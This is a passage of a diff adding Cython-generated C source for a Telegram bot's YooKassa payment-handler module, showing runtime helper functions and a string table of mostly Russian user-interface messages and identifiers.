PY_MAJOR_VERSION >= 3 && !CYTHON_COMPILING_IN_PYPY && CYTHON_ASSUME_SAFE_MACROS +static const char* __Pyx__PyUnicode_AsDouble_Copy(const void* data, const int kind, char* buffer, Py_ssize_t start, Py_ssize_t end) { + int last_was_punctuation; + Py_ssize_t i; + last_was_punctuation = 1; + for (i=start; i <= end; i++) { + Py_UCS4 chr = PyUnicode_READ(kind, data, i); + int is_punctuation = (chr == '_') | (chr == '.'); + *buffer = (char)chr; + buffer += (chr != '_'); + if (unlikely(chr > 127)) goto parse_failure; + if (unlikely(last_was_punctuation & is_punctuation)) goto parse_failure; + last_was_punctuation = is_punctuation; + } + if (unlikely(last_was_punctuation)) goto parse_failure; + *buffer = '\0'; + return buffer; +parse_failure: + return NULL; +} +static double __Pyx__PyUnicode_AsDouble_inf_nan(const void* data, int kind, Py_ssize_t start, Py_ssize_t length) { + int matches = 1; + Py_UCS4 chr; + Py_UCS4 sign = PyUnicode_READ(kind, data, start); + int is_signed = (sign == '-') | (sign == '+'); + start += is_signed; + length -= is_signed; + switch (PyUnicode_READ(kind, data, start)) { + #ifdef Py_NAN + case 'n': + case 'N': + if (unlikely(length != 3)) goto parse_failure; + chr = PyUnicode_READ(kind, data, start+1); + matches &= (chr == 'a') | (chr == 'A'); + chr = PyUnicode_READ(kind, data, start+2); + matches &= (chr == 'n') | (chr == 'N'); + if (unlikely(!matches)) goto parse_failure; + return (sign == '-') ? -Py_NAN : Py_NAN; + #endif + case 'i': + case 'I': + if (unlikely(length < 3)) goto parse_failure; + chr = PyUnicode_READ(kind, data, start+1); + matches &= (chr == 'n') | (chr == 'N'); + chr = PyUnicode_READ(kind, data, start+2); + matches &= (chr == 'f') | (chr == 'F'); + if (likely(length == 3 && matches)) + return (sign == '-') ? -Py_HUGE_VAL : Py_HUGE_VAL; + if (unlikely(length != 8)) goto parse_failure; + chr = PyUnicode_READ(kind, data, start+3); + matches &= (chr == 'i') | (chr == 'I'); + chr = PyUnicode_READ(kind, data, start+4); + matches &= (chr == 'n') | (chr == 'N'); + chr = PyUnicode_READ(kind, data, start+5); + matches &= (chr == 'i') | (chr == 'I'); + chr = PyUnicode_READ(kind, data, start+6); + matches &= (chr == 't') | (chr == 'T'); + chr = PyUnicode_READ(kind, data, start+7); + matches &= (chr == 'y') | (chr == 'Y'); + if (unlikely(!matches)) goto parse_failure; + return (sign == '-') ? -Py_HUGE_VAL : Py_HUGE_VAL; + case '.': case '0': case '1': case '2': case '3': case '4': case '5': case '6': case '7': case '8': case '9': + break; + default: + goto parse_failure; + } + return 0.0; +parse_failure: + return -1.0; +} +static double __Pyx_PyUnicode_AsDouble_WithSpaces(PyObject *obj) { + double value; + const char *last; + char *end; + Py_ssize_t start, length = PyUnicode_GET_LENGTH(obj); + const int kind = PyUnicode_KIND(obj); + const void* data = PyUnicode_DATA(obj); + start = 0; + while (Py_UNICODE_ISSPACE(PyUnicode_READ(kind, data, start))) + start++; + while (start < length - 1 && Py_UNICODE_ISSPACE(PyUnicode_READ(kind, data, length - 1))) + length--; + length -= start; + if (unlikely(length <= 0)) goto fallback; + value = __Pyx__PyUnicode_AsDouble_inf_nan(data, kind, start, length); + if (unlikely(value == -1.0)) goto fallback; + if (value != 0.0) return value; + if (length < 40) { + char number[40]; + last = __Pyx__PyUnicode_AsDouble_Copy(data, kind, number, start, start + length); + if (unlikely(!last)) goto fallback; + value = PyOS_string_to_double(number, &end, NULL); + } else { + char *number = (char*) PyMem_Malloc((length + 1) * sizeof(char)); + if (unlikely(!number)) goto fallback; + last = __Pyx__PyUnicode_AsDouble_Copy(data, kind, number, start, start + length); + if (unlikely(!last)) { + PyMem_Free(number); + goto fallback; + } + value = PyOS_string_to_double(number, &end, NULL); + PyMem_Free(number); + } + if (likely(end == last) || (value == (double)-1 && PyErr_Occurred())) { + return value; + } +fallback: + return __Pyx_SlowPyString_AsDouble(obj); +} +#endif +static CYTHON_INLINE double __Pyx_PyUnicode_AsDouble(PyObject *obj) { +#if PY_MAJOR_VERSION >= 3 && !CYTHON_COMPILING_IN_PYPY && CYTHON_ASSUME_SAFE_MACROS + if (unlikely(__Pyx_PyUnicode_READY(obj) == -1)) + return (double)-1; + if (likely(PyUnicode_IS_ASCII(obj))) { + const char *s; + Py_ssize_t length; + s = PyUnicode_AsUTF8AndSize(obj, &length); + return __Pyx__PyBytes_AsDouble(obj, s, length); + } + return __Pyx_PyUnicode_AsDouble_WithSpaces(obj); +#else + return __Pyx_SlowPyString_AsDouble(obj); +#endif +} + +/* pyobject_as_double.proto */ +static double __Pyx__PyObject_AsDouble(PyObject* obj); +#if CYTHON_COMPILING_IN_PYPY +#define __Pyx_PyObject_AsDouble(obj)\ +(likely(PyFloat_CheckExact(obj)) ? PyFloat_AS_DOUBLE(obj) :\ + likely(PyInt_CheckExact(obj)) ?\ + PyFloat_AsDouble(obj) : __Pyx__PyObject_AsDouble(obj)) +#else +#define __Pyx_PyObject_AsDouble(obj)\ +((likely(PyFloat_CheckExact(obj))) ? PyFloat_AS_DOUBLE(obj) :\ + likely(PyLong_CheckExact(obj)) ?\ + PyLong_AsDouble(obj) : __Pyx__PyObject_AsDouble(obj)) +#endif + +/* PyObjectCallMethod0.proto */ +static PyObject* __Pyx_PyObject_CallMethod0(PyObject* obj, PyObject* method_name); + +/* ValidateBasesTuple.proto */ +#if CYTHON_COMPILING_IN_CPYTHON || CYTHON_COMPILING_IN_LIMITED_API || CYTHON_USE_TYPE_SPECS +static int __Pyx_validate_bases_tuple(const char *type_name, Py_ssize_t dictoffset, PyObject *bases); +#endif + +/* PyType_Ready.proto */ +CYTHON_UNUSED static int __Pyx_PyType_Ready(PyTypeObject *t); + +/* Import.proto */ +static PyObject *__Pyx_Import(PyObject *name, PyObject *from_list, int level); + +/* ImportDottedModule.proto */ +static PyObject *__Pyx_ImportDottedModule(PyObject *name, PyObject *parts_tuple); +#if PY_MAJOR_VERSION >= 3 +static PyObject *__Pyx_ImportDottedModule_WalkParts(PyObject *module, PyObject *name, PyObject *parts_tuple); +#endif + +/* ImportFrom.proto */ +static PyObject* __Pyx_ImportFrom(PyObject* module, PyObject* name); + +/* PyObjectSetAttrStr.proto */ +#if CYTHON_USE_TYPE_SLOTS +#define __Pyx_PyObject_DelAttrStr(o,n) __Pyx_PyObject_SetAttrStr(o, n, NULL) +static CYTHON_INLINE int __Pyx_PyObject_SetAttrStr(PyObject* obj, PyObject* attr_name, PyObject* value); +#else +#define __Pyx_PyObject_DelAttrStr(o,n) PyObject_DelAttr(o,n) +#define __Pyx_PyObject_SetAttrStr(o,n,v) PyObject_SetAttr(o,n,v) +#endif + +/* Py3UpdateBases.proto */ +static PyObject* __Pyx_PEP560_update_bases(PyObject *bases); + +/* CalculateMetaclass.proto */ +static PyObject *__Pyx_CalculateMetaclass(PyTypeObject *metaclass, PyObject *bases); + +/* SetNameInClass.proto */ +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x030500A1 && PY_VERSION_HEX < 0x030d0000 +#define __Pyx_SetNameInClass(ns, name, value)\ + (likely(PyDict_CheckExact(ns)) ? _PyDict_SetItem_KnownHash(ns, name, value, ((PyASCIIObject *) name)->hash) : PyObject_SetItem(ns, name, value)) +#elif CYTHON_COMPILING_IN_CPYTHON +#define __Pyx_SetNameInClass(ns, name, value)\ + (likely(PyDict_CheckExact(ns)) ? PyDict_SetItem(ns, name, value) : PyObject_SetItem(ns, name, value)) +#else +#define __Pyx_SetNameInClass(ns, name, value) PyObject_SetItem(ns, name, value) +#endif + +/* PyObjectLookupSpecial.proto */ +#if CYTHON_USE_PYTYPE_LOOKUP && CYTHON_USE_TYPE_SLOTS +#define __Pyx_PyObject_LookupSpecialNoError(obj, attr_name) __Pyx__PyObject_LookupSpecial(obj, attr_name, 0) +#define __Pyx_PyObject_LookupSpecial(obj, attr_name) __Pyx__PyObject_LookupSpecial(obj, attr_name, 1) +static CYTHON_INLINE PyObject* __Pyx__PyObject_LookupSpecial(PyObject* obj, PyObject* attr_name, int with_error); +#else +#define __Pyx_PyObject_LookupSpecialNoError(o,n) __Pyx_PyObject_GetAttrStrNoError(o,n) +#define __Pyx_PyObject_LookupSpecial(o,n) __Pyx_PyObject_GetAttrStr(o,n) +#endif + +/* Py3ClassCreate.proto */ +static PyObject *__Pyx_Py3MetaclassPrepare(PyObject *metaclass, PyObject *bases, PyObject *name, PyObject *qualname, + PyObject *mkw, PyObject *modname, PyObject *doc); +static PyObject *__Pyx_Py3ClassCreate(PyObject *metaclass, PyObject *name, PyObject *bases, PyObject *dict, + PyObject *mkw, int calculate_metaclass, int allow_py2_metaclass); + +/* PyMethodNew.proto */ +#if CYTHON_COMPILING_IN_LIMITED_API +static PyObject *__Pyx_PyMethod_New(PyObject *func, PyObject *self, PyObject *typ) { + PyObject *typesModule=NULL, *methodType=NULL, *result=NULL; + CYTHON_UNUSED_VAR(typ); + if (!self) + return __Pyx_NewRef(func); + typesModule = PyImport_ImportModule("types"); + if (!typesModule) return NULL; + methodType = PyObject_GetAttrString(typesModule, "MethodType"); + Py_DECREF(typesModule); + if (!methodType) return NULL; + result = PyObject_CallFunctionObjArgs(methodType, func, self, NULL); + Py_DECREF(methodType); + return result; +} +#elif PY_MAJOR_VERSION >= 3 +static PyObject *__Pyx_PyMethod_New(PyObject *func, PyObject *self, PyObject *typ) { + CYTHON_UNUSED_VAR(typ); + if (!self) + return __Pyx_NewRef(func); + return PyMethod_New(func, self); +} +#else + #define __Pyx_PyMethod_New PyMethod_New +#endif + +/* PyVectorcallFastCallDict.proto */ +#if CYTHON_METH_FASTCALL +static CYTHON_INLINE PyObject *__Pyx_PyVectorcall_FastCallDict(PyObject *func, __pyx_vectorcallfunc vc, PyObject *const *args, size_t nargs, PyObject *kw); +#endif + +/* CythonFunctionShared.proto */ +#define __Pyx_CyFunction_USED +#define __Pyx_CYFUNCTION_STATICMETHOD 0x01 +#define __Pyx_CYFUNCTION_CLASSMETHOD 0x02 +#define __Pyx_CYFUNCTION_CCLASS 0x04 +#define __Pyx_CYFUNCTION_COROUTINE 0x08 +#define __Pyx_CyFunction_GetClosure(f)\ + (((__pyx_CyFunctionObject *) (f))->func_closure) +#if PY_VERSION_HEX < 0x030900B1 || CYTHON_COMPILING_IN_LIMITED_API + #define __Pyx_CyFunction_GetClassObj(f)\ + (((__pyx_CyFunctionObject *) (f))->func_classobj) +#else + #define __Pyx_CyFunction_GetClassObj(f)\ + ((PyObject*) ((PyCMethodObject *) (f))->mm_class) +#endif +#define __Pyx_CyFunction_SetClassObj(f, classobj)\ + __Pyx__CyFunction_SetClassObj((__pyx_CyFunctionObject *) (f), (classobj)) +#define __Pyx_CyFunction_Defaults(type, f)\ + ((type *)(((__pyx_CyFunctionObject *) (f))->defaults)) +#define __Pyx_CyFunction_SetDefaultsGetter(f, g)\ + ((__pyx_CyFunctionObject *) (f))->defaults_getter = (g) +typedef struct { +#if CYTHON_COMPILING_IN_LIMITED_API + PyObject_HEAD + PyObject *func; +#elif PY_VERSION_HEX < 0x030900B1 + PyCFunctionObject func; +#else + PyCMethodObject func; +#endif +#if CYTHON_BACKPORT_VECTORCALL + __pyx_vectorcallfunc func_vectorcall; +#endif +#if PY_VERSION_HEX < 0x030500A0 || CYTHON_COMPILING_IN_LIMITED_API + PyObject *func_weakreflist; +#endif + PyObject *func_dict; + PyObject *func_name; + PyObject *func_qualname; + PyObject *func_doc; + PyObject *func_globals; + PyObject *func_code; + PyObject *func_closure; +#if PY_VERSION_HEX < 0x030900B1 || CYTHON_COMPILING_IN_LIMITED_API + PyObject *func_classobj; +#endif + void *defaults; + int defaults_pyobjects; + size_t defaults_size; + int flags; + PyObject *defaults_tuple; + PyObject *defaults_kwdict; + PyObject *(*defaults_getter)(PyObject *); + PyObject *func_annotations; + PyObject *func_is_coroutine; +} __pyx_CyFunctionObject; +#undef __Pyx_CyOrPyCFunction_Check +#define __Pyx_CyFunction_Check(obj) __Pyx_TypeCheck(obj, __pyx_CyFunctionType) +#define __Pyx_CyOrPyCFunction_Check(obj) __Pyx_TypeCheck2(obj, __pyx_CyFunctionType, &PyCFunction_Type) +#define __Pyx_CyFunction_CheckExact(obj) __Pyx_IS_TYPE(obj, __pyx_CyFunctionType) +static CYTHON_INLINE int __Pyx__IsSameCyOrCFunction(PyObject *func, void *cfunc); +#undef __Pyx_IsSameCFunction +#define __Pyx_IsSameCFunction(func, cfunc) __Pyx__IsSameCyOrCFunction(func, cfunc) +static PyObject *__Pyx_CyFunction_Init(__pyx_CyFunctionObject* op, PyMethodDef *ml, + int flags, PyObject* qualname, + PyObject *closure, + PyObject *module, PyObject *globals, + PyObject* code); +static CYTHON_INLINE void __Pyx__CyFunction_SetClassObj(__pyx_CyFunctionObject* f, PyObject* classobj); +static CYTHON_INLINE void *__Pyx_CyFunction_InitDefaults(PyObject *m, + size_t size, + int pyobjects); +static CYTHON_INLINE void __Pyx_CyFunction_SetDefaultsTuple(PyObject *m, + PyObject *tuple); +static CYTHON_INLINE void __Pyx_CyFunction_SetDefaultsKwDict(PyObject *m, + PyObject *dict); +static CYTHON_INLINE void __Pyx_CyFunction_SetAnnotationsDict(PyObject *m, + PyObject *dict); +static int __pyx_CyFunction_init(PyObject *module); +#if CYTHON_METH_FASTCALL +static PyObject * __Pyx_CyFunction_Vectorcall_NOARGS(PyObject *func, PyObject *const *args, size_t nargsf, PyObject *kwnames); +static PyObject * __Pyx_CyFunction_Vectorcall_O(PyObject *func, PyObject *const *args, size_t nargsf, PyObject *kwnames); +static PyObject * __Pyx_CyFunction_Vectorcall_FASTCALL_KEYWORDS(PyObject *func, PyObject *const *args, size_t nargsf, PyObject *kwnames); +static PyObject * __Pyx_CyFunction_Vectorcall_FASTCALL_KEYWORDS_METHOD(PyObject *func, PyObject *const *args, size_t nargsf, PyObject *kwnames); +#if CYTHON_BACKPORT_VECTORCALL +#define __Pyx_CyFunction_func_vectorcall(f) (((__pyx_CyFunctionObject*)f)->func_vectorcall) +#else +#define __Pyx_CyFunction_func_vectorcall(f) (((PyCFunctionObject*)f)->vectorcall) +#endif +#endif + +/* CythonFunction.proto */ +static PyObject *__Pyx_CyFunction_New(PyMethodDef *ml, + int flags, PyObject* qualname, + PyObject *closure, + PyObject *module, PyObject *globals, + PyObject* code); + +/* CLineInTraceback.proto */ +#ifdef CYTHON_CLINE_IN_TRACEBACK +#define __Pyx_CLineForTraceback(tstate, c_line) (((CYTHON_CLINE_IN_TRACEBACK)) ? c_line : 0) +#else +static int __Pyx_CLineForTraceback(PyThreadState *tstate, int c_line); +#endif + +/* CodeObjectCache.proto */ +#if !CYTHON_COMPILING_IN_LIMITED_API +typedef struct { + PyCodeObject* code_object; + int code_line; +} __Pyx_CodeObjectCacheEntry; +struct __Pyx_CodeObjectCache { + int count; + int max_count; + __Pyx_CodeObjectCacheEntry* entries; +}; +static struct __Pyx_CodeObjectCache __pyx_code_cache = {0,0,NULL}; +static int __pyx_bisect_code_objects(__Pyx_CodeObjectCacheEntry* entries, int count, int code_line); +static PyCodeObject *__pyx_find_code_object(int code_line); +static void __pyx_insert_code_object(int code_line, PyCodeObject* code_object); +#endif + +/* AddTraceback.proto */ +static void __Pyx_AddTraceback(const char *funcname, int c_line, + int py_line, const char *filename); + +/* GCCDiagnostics.proto */ +#if !defined(__INTEL_COMPILER) && defined(__GNUC__) && (__GNUC__ > 4 || (__GNUC__ == 4 && __GNUC_MINOR__ >= 6)) +#define __Pyx_HAS_GCC_DIAGNOSTIC +#endif + +/* CIntToPy.proto */ +static CYTHON_INLINE PyObject* __Pyx_PyInt_From_long(long value); + +/* FormatTypeName.proto */ +#if CYTHON_COMPILING_IN_LIMITED_API +typedef PyObject *__Pyx_TypeName; +#define __Pyx_FMT_TYPENAME "%U" +static __Pyx_TypeName __Pyx_PyType_GetName(PyTypeObject* tp); +#define __Pyx_DECREF_TypeName(obj) Py_XDECREF(obj) +#else +typedef const char *__Pyx_TypeName; +#define __Pyx_FMT_TYPENAME "%.200s" +#define __Pyx_PyType_GetName(tp) ((tp)->tp_name) +#define __Pyx_DECREF_TypeName(obj) +#endif + +/* CIntFromPy.proto */ +static CYTHON_INLINE long __Pyx_PyInt_As_long(PyObject *); + +/* CIntFromPy.proto */ +static CYTHON_INLINE int __Pyx_PyInt_As_int(PyObject *); + +/* FastTypeChecks.proto */ +#if CYTHON_COMPILING_IN_CPYTHON +#define __Pyx_TypeCheck(obj, type) __Pyx_IsSubtype(Py_TYPE(obj), (PyTypeObject *)type) +#define __Pyx_TypeCheck2(obj, type1, type2) __Pyx_IsAnySubtype2(Py_TYPE(obj), (PyTypeObject *)type1, (PyTypeObject *)type2) +static CYTHON_INLINE int __Pyx_IsSubtype(PyTypeObject *a, PyTypeObject *b); +static CYTHON_INLINE int __Pyx_IsAnySubtype2(PyTypeObject *cls, PyTypeObject *a, PyTypeObject *b); +static CYTHON_INLINE int __Pyx_PyErr_GivenExceptionMatches(PyObject *err, PyObject *type); +static CYTHON_INLINE int __Pyx_PyErr_GivenExceptionMatches2(PyObject *err, PyObject *type1, PyObject *type2); +#else +#define __Pyx_TypeCheck(obj, type) PyObject_TypeCheck(obj, (PyTypeObject *)type) +#define __Pyx_TypeCheck2(obj, type1, type2) (PyObject_TypeCheck(obj, (PyTypeObject *)type1) || PyObject_TypeCheck(obj, (PyTypeObject *)type2)) +#define __Pyx_PyErr_GivenExceptionMatches(err, type) PyErr_GivenExceptionMatches(err, type) +#define __Pyx_PyErr_GivenExceptionMatches2(err, type1, type2) (PyErr_GivenExceptionMatches(err, type1) || PyErr_GivenExceptionMatches(err, type2)) +#endif +#define __Pyx_PyErr_ExceptionMatches2(err1, err2) __Pyx_PyErr_GivenExceptionMatches2(__Pyx_PyErr_CurrentExceptionType(), err1, err2) +#define __Pyx_PyException_Check(obj) __Pyx_TypeCheck(obj, PyExc_Exception) + +/* CheckBinaryVersion.proto */ +static unsigned long __Pyx_get_runtime_version(void); +static int __Pyx_check_binary_version(unsigned long ct_version, unsigned long rt_version, int allow_newer); + +/* InitStrings.proto */ +static int __Pyx_InitStrings(__Pyx_StringTabEntry *t); + +/* #### Code section: module_declarations ### */ + +/* Module declarations from "handlers.payments.yookassa_pay" */ +/* #### Code section: typeinfo ### */ +/* #### Code section: before_global_var ### */ +#define __Pyx_MODULE_NAME "handlers.payments.yookassa_pay" +extern int __pyx_module_is_main_handlers__payments__yookassa_pay; +int __pyx_module_is_main_handlers__payments__yookassa_pay = 0; + +/* Implementation of "handlers.payments.yookassa_pay" */ +/* #### Code section: global_var ### */ +static PyObject *__pyx_builtin_range; +static PyObject *__pyx_builtin_ValueError; +/* #### Code section: string_decls ### */ +static const char __pyx_k_F[] = "F"; +static const char __pyx_k_e[] = "e"; +static const char __pyx_k_i[] = "i"; +static const char __pyx_k_ID[] = "\320\236\321\202\321\201\321\203\321\202\321\201\321\202\320\262\321\203\320\265\321\202 ID \320\277\320\273\320\260\321\202\320\265\320\266\320\260 \320\262 \320\267\320\260\320\277\321\200\320\276\321\201\320\265"; +static const char __pyx_k__2[] = "\360\237\222\260 \320\222\320\262\320\265\321\201\321\202\320\270 \321\201\320\262\320\276\321\216 \321\201\321\203\320\274\320\274\321\203"; +static const char __pyx_k__3[] = "\342\254\205\357\270\217 \320\235\320\260\320\267\320\260\320\264"; +static const char __pyx_k__4[] = "\320\222\321\213\320\261\320\265\321\200\320\270\321\202\320\265 \321\201\321\203\320\274\320\274\321\203 \320\277\320\276\320\277\320\276\320\273\320\275\320\265\320\275\320\270\321\217:"; +static const char __pyx_k__6[] = "|"; +static const char __pyx_k__8[] = "\320\237\320\276\320\277\320\276\320\273\320\275\320\265\320\275\320\270\320\265 \320\261\320\260\320\273\320\260\320\275\321\201\320\260"; +static const char __pyx_k__9[] = "\320\237\320\276\320\277\320\276\320\273\320\275\320\270\321\202\321\214"; +static const char __pyx_k_gc[] = "gc"; +static const char __pyx_k_id[] = "id"; +static const char __pyx_k_Any[] = "Any"; +static const char __pyx_k_RUB[] = "RUB"; +static const char __pyx_k__10[] = "\320\222\321\213 \320\262\321\213\320\261\321\200\320\260\320\273\320\270 \320\277\320\276\320\277\320\276\320\273\320\275\320\265\320\275\320\270\320\265 \320\275\320\260 "; +static const char __pyx_k__11[] = " \321\200\321\203\320\261\320\273\320\265\320\271."; +static const char __pyx_k__12[] = "\320\236\321\210\320\270\320\261\320\272\320\260 \320\277\321\200\320\270 \321\201\320\276\320\267\320\264\320\260\320\275\320\270\320\270 \320\277\320\273\320\260\321\202\320\265\320\266\320\260."; +static const char __pyx_k__14[] = " \320\275\320\265 \320\267\320\260\320\262\320\265\321\200\321\210\321\221\320\275 \320\270\320\273\320\270 \320\275\320\265 \320\276\320\277\320\273\320\260\321\207\320\265\320\275"; +static const char __pyx_k__15[] = "\320\236\321\210\320\270\320\261\320\272\320\260 \320\277\321\200\320\270 \320\277\321\200\320\276\320\262\320\265\321\200\320\272\320\265 \320\277\320\273\320\260\321\202\320\265\320\266\320\260: "; +static const char __pyx_k__17[] = "\360\237\224\231 \320\235\320\260\320\267\320\260\320\264"; +static const char __pyx_k__18[] = "\320\237\320\276\320\266\320\260\320\273\321\203\320\271\321\201\321\202\320\260, \320\262\320\262\320\265\320\264\320\270\321\202\320\265 \321\201\321\203\320\274\320\274\321\203 \320\277\320\276\320\277\320\276\320\273\320\275\320\265\320\275\320\270\321\217."; +static const char __pyx_k__21[] = "\320\241\321\203\320\274\320\274\320\260 \320\264\320\276\320\273\320\266\320\275\320\260 \320\261\321\213\321\202\321\214 \320\261\320\276\320\273\321\214\321\210\320\265 \320\275\321\203\320\273\321\217. \320\237\320\276\320\266\320\260\320\273\321\203\320\271\321\201\321\202\320\260, \320\262\320\262\320\265\320\264\320\270\321\202\320\265 \321\201\321\203\320\274\320\274\321\203 \320\265\321\211\320\265 \321\200\320\260\320\267:"; +static const char __pyx_k__22[] = "\320\236\321\210\320\270\320\261\320\272\320\260 \320\277\321\200\320\270 \321\201\320\276\320\267\320\264\320\260\320\275\320\270\320\270 \320\277\320\273\320\260\321\202\320\265\320\266\320\260: "; +static const char __pyx_k__23[] = "\320\237\321\200\320\276\320\270\320\267\320\276\321\210\320\273\320\260 \320\276\321\210\320\270\320\261\320\272\320\260 \320\277\321\200\320\270 \321\201\320\276\320\267\320\264\320\260\320\275\320\270\320\270 \320\277\320\273\320\260\321\202\320\265\320\266\320\260."; +static const char __pyx_k__24[] = "\320\235\320\265\320\272\320\276\321\200\321\200\320\265\320\272\321\202\320\275\320\260\321\217 \321\201\321\203\320\274\320\274\320\260. \320\237\320\276\320\266\320\260\320\273\321\203\320\271\321\201\321\202\320\260, \320\262\320\262\320\265\320\264\320\270\321\202\320\265 \321\201\321\203\320\274\320\274\321\203 \320\265\321\211\320\265 \321\200\320\260\320\267:"; +static const char __pyx_k__25[] = "*"; +static const char __pyx_k__26[] = "."; +static const char __pyx_k__33[] = "?"; +static const char __pyx_k_doc[] = "__doc__"; +static const char __pyx_k_get[] = "get"; +static const char __pyx_k_pay[] = "pay"; +static const char __pyx_k_row[] = "row"; +static const char __pyx_k_url[] = "url"; +static const char __pyx_k_web[] = "web"; +static const char __pyx_k_1_00[] = "1.00"; +static const char __pyx_k_ID_2[] = "\320\237\320\273\320\260\321\202\320\265\320\266 \321\201 ID "; +static const char __pyx_k_args[] = "args"; +static const char __pyx_k_chat[] = "chat"; +static const char __pyx_k_data[] = "data"; +static const char __pyx_k_dict[] = "__dict__"; +static const char __pyx_k_info[] = "info"; +static const char __pyx_k_json[] = "json"; +static const char __pyx_k_main[] = "__main__"; +static const char __pyx_k_name[] = "__name__"; +static const char __pyx_k_paid[] = "paid"; +static const char __pyx_k_send[] = "send"; +static const char __pyx_k_spec[] = "__spec__"; +static const char __pyx_k_test[] = "__test__"; +static const char __pyx_k_text[] = "text"; +static const char __pyx_k_type[] = "type"; +static const char __pyx_k_uuid[] = "uuid"; +static const char __pyx_k_State[] = "State"; +static const char __pyx_k_await[] = "__await__"; +static const char __pyx_k_close[] = "close"; +static const char __pyx_k_debug[] = "debug"; +static const char __pyx_k_email[] = "email"; +static const char __pyx_k_error[] = "error"; +static const char __pyx_k_event[] = "event"; +static const char __pyx_k_items[] = "items"; +static const char __pyx_k_phone[] = "phone"; +static const char __pyx_k_range[] = "range"; +static const char __pyx_k_split[] = "split"; +static const char __pyx_k_state[] = "state"; +static const char __pyx_k_super[] = "super"; +static const char __pyx_k_tg_id[] = "tg_id"; +static const char __pyx_k_throw[] = "throw"; +static const char __pyx_k_trial[] = "trial"; +static const char __pyx_k_types[] = "types"; +static const char __pyx_k_uuid4[] = "uuid4"; +static const char __pyx_k_value[] = "value"; +static const char __pyx_k_Router[] = "Router"; +static const char __pyx_k_amount[] = "amount"; +static const char __pyx_k_answer[] = "answer"; +static const char __pyx_k_config[] = "config"; +static const char __pyx_k_create[] = "create"; +static const char __pyx_k_enable[] = "enable"; +static const char __pyx_k_exists[] = "exists"; +static const char __pyx_k_import[] = "__import__"; +static const char __pyx_k_logger[] = "logger"; +static const char __pyx_k_module[] = "__module__"; +static const char __pyx_k_object[] = "object"; +static const char __pyx_k_router[] = "router"; +static const char __pyx_k_status[] = "status"; +static const char __pyx_k_typing[] = "typing"; +static const char __pyx_k_Payment[] = "Payment"; +static const char __pyx_k_aiogram[] = "aiogram"; +static const char __pyx_k_aiohttp[] = "aiohttp"; +static const char __pyx_k_balance[] = "balance"; +static const char __pyx_k_builder[] = "builder"; +static const char __pyx_k_capture[] = "capture"; +static const char __pyx_k_disable[] = "disable"; +static const char __pyx_k_isdigit[] = "isdigit"; +static const char __pyx_k_message[] = "message"; +static const char __pyx_k_payment[] = "payment"; +static const char __pyx_k_pending[] = "pending"; +static const char __pyx_k_prepare[] = "__prepare__"; +static const char __pyx_k_receipt[] = "receipt"; +static const char __pyx_k_request[] = "request"; +static const char __pyx_k_session[] = "session"; +static const char __pyx_k_user_id[] = "user_id"; +static const char __pyx_k_warning[] = "warning"; +static const char __pyx_k_Response[] = "Response"; +static const char __pyx_k_amount_2[] = ", amount: "; +static const char __pyx_k_currency[] = "currency"; +static const char __pyx_k_customer[] = "customer"; +static const char __pyx_k_database[] = "database"; +static const char __pyx_k_find_one[] = "find_one"; +static const char __pyx_k_metadata[] = "metadata"; +static const char __pyx_k_qualname[] = "__qualname__"; +static const char __pyx_k_quantity[] = "quantity"; +static const char __pyx_k_redirect[] = "redirect"; +static const char __pyx_k_set_name[] = "__set_name__"; +static const char __pyx_k_solo_net[] = "@solo.net"; +static const char __pyx_k_vat_code[] = "vat_code"; +static const char __pyx_k_yookassa[] = "yookassa_"; +static const char __pyx_k_as_markup[] = "as_markup"; +static const char __pyx_k_from_user[] = "from_user"; +static const char __pyx_k_full_name[] = "full_name"; +static const char __pyx_k_isenabled[] = "isenabled"; +static const char __pyx_k_key_count[] = "key_count"; +static const char __pyx_k_metaclass[] = "__metaclass__"; +static const char __pyx_k_set_state[] = "set_state"; +static const char __pyx_k_succeeded[] = "succeeded"; +static const char __pyx_k_Account_ID[] = "Account ID: "; +static const char __pyx_k_FSMContext[] = "FSMContext"; +static const char __pyx_k_Secret_Key[] = "Secret Key: "; +static const char __pyx_k_ValueError[] = "ValueError"; +static const char __pyx_k_account_id[] = "account_id"; +static const char __pyx_k_amount_str[] = "amount_str"; +static const char __pyx_k_payment_id[] = "payment_id"; +static const char __pyx_k_return_url[] = "return_url"; +static const char __pyx_k_secret_key[] = "secret_key"; +static const char __pyx_k_startswith[] = "startswith"; +static const char __pyx_k_yookassa_2[] = "yookassa"; +static const char __pyx_k_79000000000[] = "79000000000"; +static const char __pyx_k_MAIN_SECRET[] = "MAIN_SECRET"; +static const char __pyx_k_StatesGroup[] = "StatesGroup"; +static const char __pyx_k_add_payment[] = "add_payment"; +static const char __pyx_k_customer_id[] = "customer_id"; +static const char __pyx_k_description[] = "description"; +static const char __pyx_k_mro_entries[] = "__mro_entries__"; +static const char __pyx_k_payment_url[] = "payment_url"; +static const char __pyx_k_solonet_sup[] = "\342\235\214 \320\237\320\270\321\200\320\260\321\202\321\201\320\272\320\260\321\217 \320\262\320\265\321\200\321\201\320\270\321\217, \320\276\320\261\321\200\320\260\321\202\320\270\321\202\320\265\321\201\321\214 \320\262 \320\277\320\276\320\264\320\264\320\265\321\200\320\266\320\272\321\203 @solonet_sup."; +static const char __pyx_k_update_data[] = "update_data"; +static const char __pyx_k_user_id_str[] = "user_id_str"; +static const char __pyx_k_API_Yookassa[] = "\320\237\321\200\320\276\320\262\320\265\321\200\320\272\320\260 \320\277\320\273\320\260\321\202\320\265\320\266\320\260 \321\207\320\265\321\200\320\265\320\267 API Yookassa: "; +static const char __pyx_k_confirmation[] = "confirmation"; +static const char __pyx_k_initializing[] = "_initializing"; +static const char __pyx_k_is_coroutine[] = "_is_coroutine"; +static const char __pyx_k_pay_yookassa[] = "pay_yookassa"; +static const char __pyx_k_reply_markup[] = "reply_markup"; +static const char __pyx_k_Configuration[] = "Configuration"; +static const char __pyx_k_YOOKASSA_HASH[] = "YOOKASSA_HASH"; +static const char __pyx_k_aiogram_types[] = "aiogram.types"; +static const char __pyx_k_callback_data[] = "callback_data"; +static const char __pyx_k_class_getitem[] = "__class_getitem__"; +static const char __pyx_k_customer_name[] = "customer_name"; +static const char __pyx_k_expected_hash[] = "expected_hash"; +static const char __pyx_k_get_key_count[] = "get_key_count"; +static const char __pyx_k_init_subclass[] = "__init_subclass__"; +static const char __pyx_k_types_Message[] = "types.Message"; +static const char __pyx_k_add_connection[] = "add_connection"; +static const char __pyx_k_callback_query[] = "callback_query"; +static const char __pyx_k_customer_email[] = "customer_email"; +static const char __pyx_k_handlers_texts[] = "handlers.texts"; +static const 